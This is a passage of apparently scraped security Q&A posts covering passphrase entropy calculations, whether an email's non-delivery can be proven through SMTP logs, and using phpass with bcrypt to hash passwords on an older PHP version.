Unfortunately, this calculation method is a bit tricky to use in practice.  To estimate the entropy this way, you'd have to peruse the entire word list and count how many words are too difficult for you to remember, or scan a random sample of the word list and use that to estimate what fraction are too difficult to remember.  (Also, this calculation assumes that whether a word is too difficult to remember is independent of the rest of the passphrase.)  It would not be valid to choose a random passphrase, reject it because one of the words was too difficult, choose a second passphrase, keep that one, and then reason that you've reduced the dictionary from 7776 words to 7775 words so your entropy goes from 51.6993 to 51.6985 bits.  That would not be valid reasoning, because it doesn't count how many other words might be in the dictionary that you also would have rejected, if they had been selected.
You could think of this as just another reason that you might throw out a passphrase.  Then we're back in the situation we already analyzed above ("Throw out passphrases until you get one you can remember").

Rearrange words so that it is easier to remember -

You've already covered this in your question, and yes, your reasoning is accurate.  You've reduced entropy by at most log2 4! = 4.6 bits of entropy.


How can I prove that a certain email was not sent to my account? Someone is claiming to have sent me an email to my Hotmail account. I never received this email. They have forged an Outlook email showing the date and time that it was sent. How can I prove that their claim is forged?

The SMTP logs of Hotmail, their provider or any trusted third-party involved in delivering the email could confirm if their servers did or did not process it. (There is no guarantee that logs are available and likely you won't be given that information without a court order.)

But either way you won't be able to prove that they forged it. That's because there are plenty of ways an e-mail can get lost. It might very well be an accident and from their point of view it's equally hard to prove that the email has actually been sent.


Best way to hash passwords in PHP 5.3.5 What is the best way to hash passwords in PHP 5.3.5? Since in this version doesn't have password_hash().

If you can update the version of PHP it's best to do so, but sometimes shared hostings have older versions of PHP like yours which do not support password_hash().
Phpass seems to suit well in this case.

phpass (pronounced "pH pass") is a portable public domain password hashing framework for use in PHP applications. It is meant to work with PHP 3 and above, and it has actually been tested with at least PHP 3.0.18 through 5.4.x so far. (PHP 3 support is likely to be dropped in next revision.)
The preferred (most secure) hashing method supported by phpass is the
OpenBSD-style Blowfish-based bcrypt, also supported with our public
domain crypt_blowfish package (for C applications), and known in PHP
as CRYPT_BLOWFISH, with a fallback to BSDI-style extended DES-based
hashes, known in PHP as CRYPT_EXT_DES, and a last resort fallback to
MD5-based salted and variable iteration count password hashes
implemented in phpass itself (also referred to as portable hashes).

Note: if you happen to have PHP version >= 5.3.7 you can also use password_compat